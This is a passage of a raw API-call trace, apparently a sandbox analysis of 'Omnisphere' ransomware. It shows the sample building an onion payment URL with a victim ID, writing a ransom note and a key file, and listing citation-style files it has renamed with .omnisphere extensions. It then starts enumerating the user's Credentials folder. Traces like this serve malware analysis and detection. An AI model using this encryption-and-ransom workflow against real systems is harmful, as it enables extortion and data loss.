GetProcessHeap () returned 0x1600000 [0102.047] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x1f) returned 0x165f378 [0102.047] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="http://uu6issmbncd3wjkm.onion/", cchWideChar=30, lpMultiByteStr=0x165f378, cbMultiByte=31, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="http://uu6issmbncd3wjkm.onion/", lpUsedDefaultChar=0x0) returned 30 [0102.048] lstrcatA (in: lpString1="", lpString2="http://uu6issmbncd3wjkm.onion/" | out: lpString1="http://uu6issmbncd3wjkm.onion/") returned="http://uu6issmbncd3wjkm.onion/" [0102.048] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="RHPZ2AXYR2V4JCIV", cchWideChar=16, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 16 [0102.048] GetProcessHeap () returned 0x1600000 [0102.048] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x11) returned 0x162f7d0 [0102.048] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="RHPZ2AXYR2V4JCIV", cchWideChar=16, lpMultiByteStr=0x162f7d0, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="RHPZ2AXYR2V4JCIV", lpUsedDefaultChar=0x0) returned 16 [0102.048] lstrcatA (in: lpString1="http://uu6issmbncd3wjkm.onion/", lpString2="RHPZ2AXYR2V4JCIV" | out: lpString1="http://uu6issmbncd3wjkm.onion/RHPZ2AXYR2V4JCIV") returned="http://uu6issmbncd3wjkm.onion/RHPZ2AXYR2V4JCIV" [0102.048] GetProcessHeap () returned 0x1600000 [0102.048] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0xb8) returned 0x166aff8 [0102.048] PathCombineW (in: pszDest=0x166aff8, pszDir="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Bibliography\\Style", pszFile="!DECRYPT_OMNISPHERE.txt" | out: pszDest="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Bibliography\\Style\\!DECRYPT_OMNISPHERE.txt") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Bibliography\\Style\\!DECRYPT_OMNISPHERE.txt" [0102.048] GetProcessHeap () returned 0x1600000 [0102.048] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x589) returned 0x16835e0 [0102.048] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Bibliography\\Style\\!DECRYPT_OMNISPHERE.txt" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\bibliography\\style\\!decrypt_omnisphere.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x28c [0102.048] WriteFile (in: hFile=0x28c, lpBuffer=0x16835e0*, nNumberOfBytesToWrite=0x588, lpNumberOfBytesWritten=0x3e0d7f4, lpOverlapped=0x0 | out: lpBuffer=0x16835e0*, lpNumberOfBytesWritten=0x3e0d7f4*=0x588, lpOverlapped=0x0) returned 1 [0102.049] CloseHandle (hObject=0x28c) returned 1 [0102.049] GetProcessHeap () returned 0x1600000 [0102.049] HeapFree (in: hHeap=0x1600000, dwFlags=0x0, lpMem=0x1686430 | out: hHeap=0x1600000) returned 1 [0102.049] GetProcessHeap () returned 0x1600000 [0102.049] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0xae) returned 0x1631c48 [0102.049] PathCombineW (in: pszDest=0x1631c48, pszDir="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Bibliography\\Style", pszFile="unique_decrypt.key" | out: pszDest="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Bibliography\\Style\\unique_decrypt.key") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Bibliography\\Style\\unique_decrypt.key" [0102.049] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Bibliography\\Style\\unique_decrypt.key" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\bibliography\\style\\unique_decrypt.key"), dwDesiredAccess=0x40000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x28c [0102.049] WriteFile (in: hFile=0x28c, lpBuffer=0x1647c78*, nNumberOfBytesToWrite=0x5a0, lpNumberOfBytesWritten=0x3e0d808, lpOverlapped=0x0 | out: lpBuffer=0x1647c78*, lpNumberOfBytesWritten=0x3e0d808*=0x5a0, lpOverlapped=0x0) returned 1 [0102.049] CloseHandle (hObject=0x28c) returned 1 [0102.050] GetProcessHeap () returned 0x1600000 [0102.050] HeapFree (in: hHeap=0x1600000, dwFlags=0x0, lpMem=0x1631c48 | out: hHeap=0x1600000) returned 1 [0102.050] GetProcessHeap () returned 0x1600000 [0102.050] HeapFree (in: hHeap=0x1600000, dwFlags=0x0, lpMem=0x162da78 | out: hHeap=0x1600000) returned 1 [0102.050] FindNextFileW (in: hFindFile=0x1639ae8, lpFindFileData=0x3e0daa4 | out: lpFindFileData=0x3e0daa4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2e40435, ftCreationTime.dwHighDateTime=0x1d327b6, ftLastAccessTime.dwLowDateTime=0x2e40435, ftLastAccessTime.dwHighDateTime=0x1d327b6, ftLastWriteTime.dwLowDateTime=0x2b1bddb, ftLastWriteTime.dwHighDateTime=0x1d32745, nFileSizeHigh=0x0, nFileSizeLow=0x54256, dwReserved0=0x0, dwReserved1=0xce, cFileName="TURABIAN.XSL", cAlternateFileName="")) returned 0 [0102.050] FindClose (in: hFindFile=0x1639ae8 | out: hFindFile=0x1639ae8) returned 1 [0102.050] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Bibliography\\Style\\*", lpFindFileData=0x3e0d854 | out: lpFindFileData=0x3e0d854*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x2d35364, ftCreationTime.dwHighDateTime=0x1d327b6, ftLastAccessTime.dwLowDateTime=0x1dba855b, ftLastAccessTime.dwHighDateTime=0x1d5826d, ftLastWriteTime.dwLowDateTime=0x1dba855b, ftLastWriteTime.dwHighDateTime=0x1d5826d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x16397a8 [0102.050] FindNextFileW (in: hFindFile=0x16397a8, lpFindFileData=0x3e0d854 | out: lpFindFileData=0x3e0d854*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x2d35364, ftCreationTime.dwHighDateTime=0x1d327b6, ftLastAccessTime.dwLowDateTime=0x1dba855b, ftLastAccessTime.dwHighDateTime=0x1d5826d, ftLastWriteTime.dwLowDateTime=0x1dba855b, ftLastWriteTime.dwHighDateTime=0x1d5826d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0102.051] FindNextFileW (in: hFindFile=0x16397a8, lpFindFileData=0x3e0d854 | out: lpFindFileData=0x3e0d854*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x15e3889a, ftCreationTime.dwHighDateTime=0x1d5826d, ftLastAccessTime.dwLowDateTime=0x15e3889a, ftLastAccessTime.dwHighDateTime=0x1d5826d, ftLastWriteTime.dwLowDateTime=0x1dec90b9, ftLastWriteTime.dwHighDateTime=0x1d5826d, nFileSizeHigh=0x0, nFileSizeLow=0x588, dwReserved0=0x0, dwReserved1=0x0, cFileName="!DECRYPT_OMNISPHERE.txt", cAlternateFileName="!DECRY~1.TXT")) returned 1 [0102.051] FindNextFileW (in: hFindFile=0x16397a8, lpFindFileData=0x3e0d854 | out: lpFindFileData=0x3e0d854*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2d35364, ftCreationTime.dwHighDateTime=0x1d327b6, ftLastAccessTime.dwLowDateTime=0x2d35364, ftLastAccessTime.dwHighDateTime=0x1d327b6, ftLastWriteTime.dwLowDateTime=0x15b1775b, ftLastWriteTime.dwHighDateTime=0x1d5826d, nFileSizeHigh=0x0, nFileSizeLow=0x51c46, dwReserved0=0x0, dwReserved1=0x0, cFileName="APASixthEditionOfficeOnline.xsl.omnisphere", cAlternateFileName="APASIX~1.OMN")) returned 1 [0102.051] FindNextFileW (in: hFindFile=0x16397a8, lpFindFileData=0x3e0d854 | out: lpFindFileData=0x3e0d854*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x12c8ac3b, ftCreationTime.dwHighDateTime=0x1d5826d, ftLastAccessTime.dwLowDateTime=0x12c8ac3b, ftLastAccessTime.dwHighDateTime=0x1d5826d, ftLastWriteTime.dwLowDateTime=0x15b1775b, ftLastWriteTime.dwHighDateTime=0x1d5826d, nFileSizeHigh=0x0, nFileSizeLow=0x524, dwReserved0=0x0, dwReserved1=0x0, cFileName="APASixthEditionOfficeOnline.xsl.omnisphere.id", cAlternateFileName="APASIX~1.ID")) returned 1 [0102.051] FindNextFileW (in: hFindFile=0x16397a8, lpFindFileData=0x3e0d854 | out: lpFindFileData=0x3e0d854*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2d5b719, ftCreationTime.dwHighDateTime=0x1d327b6, ftLastAccessTime.dwLowDateTime=0x2d5b719, ftLastAccessTime.dwHighDateTime=0x1d327b6, ftLastWriteTime.dwLowDateTime=0x15f1d69b, ftLastWriteTime.dwHighDateTime=0x1d5826d, nFileSizeHigh=0x0, nFileSizeLow=0x48d5d, dwReserved0=0x0, dwReserved1=0x0, cFileName="CHICAGO.XSL.omnisphere", cAlternateFileName="CHICAG~1.OMN")) returned 1 [0102.051] FindNextFileW (in: hFindFile=0x16397a8, lpFindFileData=0x3e0d854 | out: lpFindFileData=0x3e0d854*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x15ef7603, ftCreationTime.dwHighDateTime=0x1d5826d, ftLastAccessTime.dwLowDateTime=0x15ef7603, ftLastAccessTime.dwHighDateTime=0x1d5826d, ftLastWriteTime.dwLowDateTime=0x15f1d69b, ftLastWriteTime.dwHighDateTime=0x1d5826d, nFileSizeHigh=0x0, nFileSizeLow=0x524, dwReserved0=0x0, dwReserved1=0x0, cFileName="CHICAGO.XSL.omnisphere.id", cAlternateFileName="CHICAG~1.ID")) returned 1 [0102.051] FindNextFileW (in: hFindFile=0x16397a8, lpFindFileData=0x3e0d854 | out: lpFindFileData=0x3e0d854*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2d81993, ftCreationTime.dwHighDateTime=0x1d327b6, ftLastAccessTime.dwLowDateTime=0x2d81993, ftLastAccessTime.dwHighDateTime=0x1d327b6, ftLastWriteTime.dwLowDateTime=0x1636fba0, ftLastWriteTime.dwHighDateTime=0x1d5826d, nFileSizeHigh=0x0, nFileSizeLow=0x41ea2, dwReserved0=0x0, dwReserved1=0x0, cFileName="GB.XSL.omnisphere", cAlternateFileName="GBXSL~1.OMN")) returned 1 [0102.051] FindNextFileW (in: hFindFile=0x16397a8, lpFindFileData=0x3e0d854 | out: lpFindFileData=0x3e0d854*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1636fba0, ftCreationTime.dwHighDateTime=0x1d5826d, ftLastAccessTime.dwLowDateTime=0x1636fba0, ftLastAccessTime.dwHighDateTime=0x1d5826d, ftLastWriteTime.dwLowDateTime=0x1636fba0, ftLastWriteTime.dwHighDateTime=0x1d5826d, nFileSizeHigh=0x0, nFileSizeLow=0x524, dwReserved0=0x0, dwReserved1=0x0, cFileName="GB.XSL.omnisphere.id", cAlternateFileName="GBXSLO~1.ID")) returned 1 [0102.051] FindNextFileW (in: hFindFile=0x16397a8, lpFindFileData=0x3e0d854 | out: lpFindFileData=0x3e0d854*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2da7ba7, ftCreationTime.dwHighDateTime=0x1d327b6, ftLastAccessTime.dwLowDateTime=0x2da7ba7, ftLastAccessTime.dwHighDateTime=0x1d327b6, ftLastWriteTime.dwLowDateTime=0x16ff829b, ftLastWriteTime.dwHighDateTime=0x1d5826d, nFileSizeHigh=0x0, nFileSizeLow=0x3ee8a, dwReserved0=0x0, dwReserved1=0x0, cFileName="GostName.XSL.omnisphere", cAlternateFileName="GOSTNA~1.OMN")) returned 1 [0102.051] FindNextFileW (in: hFindFile=0x16397a8, lpFindFileData=0x3e0d854 | out: lpFindFileData=0x3e0d854*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x16ff829b, ftCreationTime.dwHighDateTime=0x1d5826d, ftLastAccessTime.dwLowDateTime=0x16ff829b, ftLastAccessTime.dwHighDateTime=0x1d5826d, ftLastWriteTime.dwLowDateTime=0x16ff829b, ftLastWriteTime.dwHighDateTime=0x1d5826d, nFileSizeHigh=0x0, nFileSizeLow=0x524, dwReserved0=0x0, dwReserved1=0x0, cFileName="GostName.XSL.omnisphere.id", cAlternateFileName="GOSTNA~1.ID")) returned 1 [0102.051] FindNextFileW (in: hFindFile=0x16397a8, lpFindFileData=0x3e0d854 | out: lpFindFileData=0x3e0d854*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2da7ba7, ftCreationTime.dwHighDateTime=0x1d327b6, ftLastAccessTime.dwLowDateTime=0x2da7ba7, ftLastAccessTime.dwHighDateTime=0x1d327b6, ftLastWriteTime.dwLowDateTime=0x173d7efd, ftLastWriteTime.dwHighDateTime=0x1d5826d, nFileSizeHigh=0x0, nFileSizeLow=0x3db5d, dwReserved0=0x0, dwReserved1=0x0, cFileName="GostTitle.XSL.omnisphere", cAlternateFileName="GOSTTI~1.OMN")) returned 1 [0102.051] FindNextFileW (in: hFindFile=0x16397a8, lpFindFileData=0x3e0d854 | out: lpFindFileData=0x3e0d854*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x173d7efd, ftCreationTime.dwHighDateTime=0x1d5826d, ftLastAccessTime.dwLowDateTime=0x173d7efd, ftLastAccessTime.dwHighDateTime=0x1d5826d, ftLastWriteTime.dwLowDateTime=0x173d7efd, ftLastWriteTime.dwHighDateTime=0x1d5826d, nFileSizeHigh=0x0, nFileSizeLow=0x524, dwReserved0=0x0, dwReserved1=0x0, cFileName="GostTitle.XSL.omnisphere.id", cAlternateFileName="GOSTTI~1.ID")) returned 1 [0102.051] FindNextFileW (in: hFindFile=0x16397a8, lpFindFileData=0x3e0d854 | out: lpFindFileData=0x3e0d854*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2df40d1, ftCreationTime.dwHighDateTime=0x1d327b6, ftLastAccessTime.dwLowDateTime=0x2df40d1, ftLastAccessTime.dwHighDateTime=0x1d327b6, ftLastWriteTime.dwLowDateTime=0x17c30442, ftLastWriteTime.dwHighDateTime=0x1d5826d, nFileSizeHigh=0x0, nFileSizeLow=0x45da6, dwReserved0=0x0, dwReserved1=0x0, cFileName="HarvardAnglia2008OfficeOnline.xsl.omnisphere", cAlternateFileName="HARVAR~1.OMN")) returned 1 [0102.051] FindNextFileW (in: hFindFile=0x16397a8, lpFindFileData=0x3e0d854 | out: lpFindFileData=0x3e0d854*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x17c30442, ftCreationTime.dwHighDateTime=0x1d5826d, ftLastAccessTime.dwLowDateTime=0x17c30442, ftLastAccessTime.dwHighDateTime=0x1d5826d, ftLastWriteTime.dwLowDateTime=0x17c30442, ftLastWriteTime.dwHighDateTime=0x1d5826d, nFileSizeHigh=0x0, nFileSizeLow=0x524, dwReserved0=0x0, dwReserved1=0x0, cFileName="HarvardAnglia2008OfficeOnline.xsl.omnisphere.id", cAlternateFileName="HARVAR~1.ID")) returned 1 [0102.051] FindNextFileW (in: hFindFile=0x16397a8, lpFindFileData=0x3e0d854 | out: lpFindFileData=0x3e0d854*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2e1a2f1, ftCreationTime.dwHighDateTime=0x1d327b6, ftLastAccessTime.dwLowDateTime=0x2e1a2f1, ftLastAccessTime.dwHighDateTime=0x1d327b6, ftLastWriteTime.dwLowDateTime=0x18605e8a, ftLastWriteTime.dwHighDateTime=0x1d5826d, nFileSizeHigh=0x0, nFileSizeLow=0x483a1, dwReserved0=0x0, dwReserved1=0x0, cFileName="IEEE2006OfficeOnline.xsl.omnisphere", cAlternateFileName="IEEE20~1.OMN")) returned 1 [0102.051] FindNextFileW (in: hFindFile=0x16397a8, lpFindFileData=0x3e0d854 | out: lpFindFileData=0x3e0d854*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x185dff80, ftCreationTime.dwHighDateTime=0x1d5826d, ftLastAccessTime.dwLowDateTime=0x185dff80, ftLastAccessTime.dwHighDateTime=0x1d5826d, ftLastWriteTime.dwLowDateTime=0x185dff80, ftLastWriteTime.dwHighDateTime=0x1d5826d, nFileSizeHigh=0x0, nFileSizeLow=0x524, dwReserved0=0x0, dwReserved1=0x0, cFileName="IEEE2006OfficeOnline.xsl.omnisphere.id", cAlternateFileName="IEEE20~1.ID")) returned 1 [0102.051] FindNextFileW (in: hFindFile=0x16397a8, lpFindFileData=0x3e0d854 | out: lpFindFileData=0x3e0d854*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2e1a2f1, ftCreationTime.dwHighDateTime=0x1d327b6, ftLastAccessTime.dwLowDateTime=0x2e1a2f1, ftLastAccessTime.dwHighDateTime=0x1d327b6, ftLastWriteTime.dwLowDateTime=0x18fb5930, ftLastWriteTime.dwHighDateTime=0x1d5826d, nFileSizeHigh=0x0, nFileSizeLow=0x42656, dwReserved0=0x0, dwReserved1=0x0, cFileName="ISO690.XSL.omnisphere", cAlternateFileName="ISO690~1.OMN")) returned 1 [0102.051] FindNextFileW (in: hFindFile=0x16397a8, lpFindFileData=0x3e0d854 | out: lpFindFileData=0x3e0d854*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x18fb5930, ftCreationTime.dwHighDateTime=0x1d5826d, ftLastAccessTime.dwLowDateTime=0x18fb5930, ftLastAccessTime.dwHighDateTime=0x1d5826d, ftLastWriteTime.dwLowDateTime=0x18fb5930, ftLastWriteTime.dwHighDateTime=0x1d5826d, nFileSizeHigh=0x0, nFileSizeLow=0x524, dwReserved0=0x0, dwReserved1=0x0, cFileName="ISO690.XSL.omnisphere.id", cAlternateFileName="ISO690~1.ID")) returned 1 [0102.051] FindNextFileW (in: hFindFile=0x16397a8, lpFindFileData=0x3e0d854 | out: lpFindFileData=0x3e0d854*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2e1a2f1, ftCreationTime.dwHighDateTime=0x1d327b6, ftLastAccessTime.dwLowDateTime=0x2e1a2f1, ftLastAccessTime.dwHighDateTime=0x1d327b6, ftLastWriteTime.dwLowDateTime=0x19cce798, ftLastWriteTime.dwHighDateTime=0x1d5826d, nFileSizeHigh=0x0, nFileSizeLow=0x3570e, dwReserved0=0x0, dwReserved1=0x0, cFileName="ISO690Nmerical.XSL.omnisphere", cAlternateFileName="ISO690~2.OMN")) returned 1 [0102.051] FindNextFileW (in: hFindFile=0x16397a8, lpFindFileData=0x3e0d854 | out: lpFindFileData=0x3e0d854*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x19cce798, ftCreationTime.dwHighDateTime=0x1d5826d, ftLastAccessTime.dwLowDateTime=0x19cce798, ftLastAccessTime.dwHighDateTime=0x1d5826d, ftLastWriteTime.dwLowDateTime=0x19cce798, ftLastWriteTime.dwHighDateTime=0x1d5826d, nFileSizeHigh=0x0, nFileSizeLow=0x524, dwReserved0=0x0, dwReserved1=0x0, cFileName="ISO690Nmerical.XSL.omnisphere.id", cAlternateFileName="ISO690~2.ID")) returned 1 [0102.051] FindNextFileW (in: hFindFile=0x16397a8, lpFindFileData=0x3e0d854 | out: lpFindFileData=0x3e0d854*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2e1a2f1, ftCreationTime.dwHighDateTime=0x1d327b6, ftLastAccessTime.dwLowDateTime=0x2e1a2f1, ftLastAccessTime.dwHighDateTime=0x1d327b6, ftLastWriteTime.dwLowDateTime=0x1d886f2a, ftLastWriteTime.dwHighDateTime=0x1d5826d, nFileSizeHigh=0x0, nFileSizeLow=0x3ea17, dwReserved0=0x0, dwReserved1=0x0, cFileName="MLASeventhEditionOfficeOnline.xsl.omnisphere", cAlternateFileName="MLASEV~1.OMN")) returned 1 [0102.051] FindNextFileW (in: hFindFile=0x16397a8, lpFindFileData=0x3e0d854 | out: lpFindFileData=0x3e0d854*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1a4d8c33, ftCreationTime.dwHighDateTime=0x1d5826d, ftLastAccessTime.dwLowDateTime=0x1a4d8c33, ftLastAccessTime.dwHighDateTime=0x1d5826d, ftLastWriteTime.dwLowDateTime=0x1d886f2a, ftLastWriteTime.dwHighDateTime=0x1d5826d, nFileSizeHigh=0x0, nFileSizeLow=0x524, dwReserved0=0x0, dwReserved1=0x0, cFileName="MLASeventhEditionOfficeOnline.xsl.omnisphere.id", cAlternateFileName="MLASEV~1.ID")) returned 1 [0102.051] FindNextFileW (in: hFindFile=0x16397a8, lpFindFileData=0x3e0d854 | out: lpFindFileData=0x3e0d854*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2e1a2f1, ftCreationTime.dwHighDateTime=0x1d327b6, ftLastAccessTime.dwLowDateTime=0x2e1a2f1, ftLastAccessTime.dwHighDateTime=0x1d327b6, ftLastWriteTime.dwLowDateTime=0x1dae94d9, ftLastWriteTime.dwHighDateTime=0x1d5826d, nFileSizeHigh=0x0, nFileSizeLow=0x3daec, dwReserved0=0x0, dwReserved1=0x0, cFileName="SIST02.XSL.omnisphere", cAlternateFileName="SIST02~1.OMN")) returned 1 [0102.052] FindNextFileW (in: hFindFile=0x16397a8, lpFindFileData=0x3e0d854 | out: lpFindFileData=0x3e0d854*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1dae94d9, ftCreationTime.dwHighDateTime=0x1d5826d, ftLastAccessTime.dwLowDateTime=0x1dae94d9, ftLastAccessTime.dwHighDateTime=0x1d5826d, ftLastWriteTime.dwLowDateTime=0x1dae94d9, ftLastWriteTime.dwHighDateTime=0x1d5826d, nFileSizeHigh=0x0, nFileSizeLow=0x524, dwReserved0=0x0, dwReserved1=0x0, cFileName="SIST02.XSL.omnisphere.id", cAlternateFileName="SIST02~1.ID")) returned 1 [0102.052] FindNextFileW (in: hFindFile=0x16397a8, lpFindFileData=0x3e0d854 | out: lpFindFileData=0x3e0d854*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2e40435, ftCreationTime.dwHighDateTime=0x1d327b6, ftLastAccessTime.dwLowDateTime=0x2e40435, ftLastAccessTime.dwHighDateTime=0x1d327b6, ftLastWriteTime.dwLowDateTime=0x1dbce5b3, ftLastWriteTime.dwHighDateTime=0x1d5826d, nFileSizeHigh=0x0, nFileSizeLow=0x5477a, dwReserved0=0x0, dwReserved1=0x0, cFileName="TURABIAN.XSL.omnisphere", cAlternateFileName="TURABI~1.OMN")) returned 1 [0102.052] FindNextFileW (in: hFindFile=0x16397a8, lpFindFileData=0x3e0d854 | out: lpFindFileData=0x3e0d854*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1dba855b, ftCreationTime.dwHighDateTime=0x1d5826d, ftLastAccessTime.dwLowDateTime=0x1dba855b, ftLastAccessTime.dwHighDateTime=0x1d5826d, ftLastWriteTime.dwLowDateTime=0x1dbce5b3, ftLastWriteTime.dwHighDateTime=0x1d5826d, nFileSizeHigh=0x0, nFileSizeLow=0x524, dwReserved0=0x0, dwReserved1=0x0, cFileName="TURABIAN.XSL.omnisphere.id", cAlternateFileName="TURABI~1.ID")) returned 1 [0102.052] FindNextFileW (in: hFindFile=0x16397a8, lpFindFileData=0x3e0d854 | out: lpFindFileData=0x3e0d854*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x15e3889a, ftCreationTime.dwHighDateTime=0x1d5826d, ftLastAccessTime.dwLowDateTime=0x15e3889a, ftLastAccessTime.dwHighDateTime=0x1d5826d, ftLastWriteTime.dwLowDateTime=0x1dec90b9, ftLastWriteTime.dwHighDateTime=0x1d5826d, nFileSizeHigh=0x0, nFileSizeLow=0x5a0, dwReserved0=0x0, dwReserved1=0x0, cFileName="unique_decrypt.key", cAlternateFileName="UNIQUE~1.KEY")) returned 1 [0102.052] FindNextFileW (in: hFindFile=0x16397a8, lpFindFileData=0x3e0d854 | out: lpFindFileData=0x3e0d854*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x15e3889a, ftCreationTime.dwHighDateTime=0x1d5826d, ftLastAccessTime.dwLowDateTime=0x15e3889a, ftLastAccessTime.dwHighDateTime=0x1d5826d, ftLastWriteTime.dwLowDateTime=0x1dec90b9, ftLastWriteTime.dwHighDateTime=0x1d5826d, nFileSizeHigh=0x0, nFileSizeLow=0x5a0, dwReserved0=0x0, dwReserved1=0x0, cFileName="unique_decrypt.key", cAlternateFileName="UNIQUE~1.KEY")) returned 0 [0102.052] FindClose (in: hFindFile=0x16397a8 | out: hFindFile=0x16397a8) returned 1 [0102.052] GetProcessHeap () returned 0x1600000 [0102.052] HeapFree (in: hHeap=0x1600000, dwFlags=0x0, lpMem=0x1650558 | out: hHeap=0x1600000) returned 1 [0102.052] GetProcessHeap () returned 0x1600000 [0102.052] HeapFree (in: hHeap=0x1600000, dwFlags=0x0, lpMem=0x16332e8 | out: hHeap=0x1600000) returned 1 [0102.052] FindNextFileW (in: hFindFile=0x1639868, lpFindFileData=0x3e0dd50 | out: lpFindFileData=0x3e0dd50*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x2d35364, ftCreationTime.dwHighDateTime=0x1d327b6, ftLastAccessTime.dwLowDateTime=0x2d35364, ftLastAccessTime.dwHighDateTime=0x1d327b6, ftLastWriteTime.dwLowDateTime=0x2e40435, ftLastWriteTime.dwHighDateTime=0x1d327b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x165fbe0, dwReserved1=0x1600000, cFileName="Style", cAlternateFileName="")) returned 0 [0102.052] FindClose (in: hFindFile=0x1639868 | out: hFindFile=0x1639868) returned 1 [0102.052] GetProcessHeap () returned 0x1600000 [0102.052] HeapFree (in: hHeap=0x1600000, dwFlags=0x0, lpMem=0x1668f88 | out: hHeap=0x1600000) returned 1 [0102.052] GetProcessHeap () returned 0x1600000 [0102.052] HeapFree (in: hHeap=0x1600000, dwFlags=0x0, lpMem=0x1668570 | out: hHeap=0x1600000) returned 1 [0102.053] FindNextFileW (in: hFindFile=0x1639768, lpFindFileData=0x3e0e24c | out: lpFindFileData=0x3e0e24c*(dwFileAttributes=0x2014, ftCreationTime.dwLowDateTime=0x39c1605f, ftCreationTime.dwHighDateTime=0x1d32722, ftLastAccessTime.dwLowDateTime=0xd370742a, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x39c1605f, ftLastWriteTime.dwHighDateTime=0x1d32722, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Credentials", cAlternateFileName="CREDEN~1")) returned 1 [0102.053] GetProcessHeap () returned 0x1600000 [0102.053] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x7a) returned 0x1668708 [0102.053] PathCombineW (in: pszDest=0x1668708, pszDir="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft", pszFile="Credentials" | out: pszDest="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Credentials") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Credentials" [0102.053] GetProcessHeap () returned 0x1600000 [0102.053] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x7e) returned 0x16682c8 [0102.053] PathCombineW (in: pszDest=0x16682c8, pszDir="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Credentials", pszFile="*" | out: pszDest="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Credentials\\*") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Credentials\\*" [0102.053] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Credentials\\*", lpFindFileData=0x3e0dfa0 | out: lpFindFileData=0x3e0dfa0*(dwFileAttributes=0x2014, ftCreationTime.dwLowDateTime=0x39c1605f, ftCreationTime.dwHighDateTime=0x1d32722, ftLastAccessTime.dwLowDateTime=0xd370742a, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x39c1605f, ftLastWriteTime.dwHighDateTime=0x1d32722, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0xdb, cFileName=".", cAlternateFileName="")) returned 0x16394e8 [0102.053] FindNextFileW (in: hFindFile=0x16394e8, lpFindFileData=0x3e0dfa0 | out: lpFindFileData=0x3e0dfa0*(dwFileAttributes=0x2014, ftCreationTime.dwLowDateTime=0x39c1605f, ftCreationTime.dwHighDateTime=0x1d32722, ftLastAccessTime.dwLowDateTime=0xd370742a, ftLastAccessTime.dwHighDateTime=0x1d47ca3, 